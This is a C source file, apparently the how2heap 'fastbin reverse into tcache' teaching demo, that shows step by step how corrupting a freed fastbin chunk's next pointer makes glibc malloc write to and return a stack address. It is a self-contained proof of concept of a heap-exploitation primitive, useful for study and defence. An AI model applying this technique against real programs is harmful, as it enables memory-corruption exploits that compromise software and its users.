1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h>
const size_t allocsize = 0x40;
int main(){ setbuf(stdout, NULL);
printf( "\n" "This attack is intended to have a similar effect to the unsorted_bin_attack,\n" "except it works with a small allocation size (allocsize <= 0x78).\n" "The goal is to set things up so that a call to malloc(allocsize) will write\n" "a large unsigned value to the stack.\n\n" );
char* ptrs[14]; size_t i; for (i = 0; i < 14; i++) { ptrs[i] = malloc(allocsize); }
printf( "First we need to free(allocsize) at least 7 times to fill the tcache.\n" "(More than 7 times works fine too.)\n\n" );
for (i = 0; i < 7; i++) { free(ptrs[i]); }
char* victim = ptrs[7]; printf( "The next pointer that we free is the chunk that we're going to corrupt: %p\n" "It doesn't matter if we corrupt it now or later. Because the tcache is\n" "already full, it will go in the fastbin.\n\n", victim ); free(victim);
printf( "Next we need to free between 1 and 6 more pointers. These will also go\n" "in the fastbin. If the stack address that we want to overwrite is not zero\n" "then we need to free exactly 6 more pointers, otherwise the attack will\n" "cause a segmentation fault. But if the value on the stack is zero then\n" "a single free is sufficient.\n\n" );
for (i = 8; i < 14; i++) { free(ptrs[i]); }
size_t stack_var[6]; memset(stack_var, 0xcd, sizeof(stack_var));
printf( "The stack address that we intend to target: %p\n" "It's current value is %p\n", &stack_var[2], (char*)stack_var[2] );
printf( "Now we use a vulnerability such as a buffer overflow or a use-after-free\n" "to overwrite the next pointer at address %p\n\n", victim );
*(size_t**)victim = &stack_var[0];
printf( "The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n" );
for (i = 0; i < 7; i++) { ptrs[i] = malloc(allocsize); }
printf( "Let's just print the contents of our array on the stack now,\n" "to show that it hasn't been modified yet.\n\n" );
for (i = 0; i < 6; i++) { printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); }
printf( "\n" "The next allocation triggers the stack to be overwritten. The tcache\n" "is empty, but the fastbin isn't, so the next allocation comes from the\n" "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n" "Those 7 chunks are copied in reverse order into the tcache, so the stack\n" "address that we are targeting ends up being the first chunk in the tcache.\n" "It contains a pointer to the next chunk in the list, which is why a heap\n" "pointer is written to the stack.\n" "\n" "Earlier we said that the attack will also work if we free fewer than 6\n" "extra pointers to the fastbin, but only if the value on the stack is zero.\n" "That's because the value on the stack is treated as a next pointer in the\n" "linked list and it will trigger a crash if it isn't a valid pointer or null.\n" "\n" "The contents of our array on the stack now look like this:\n\n" );
malloc(allocsize);
for (i = 0; i < 6; i++) { printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); }
char *q = malloc(allocsize); printf( "\n" "Finally, if we malloc one more time then we get the stack address back: %p\n", q );
assert(q == (char *)&stack_var[2]);
return 0; }
|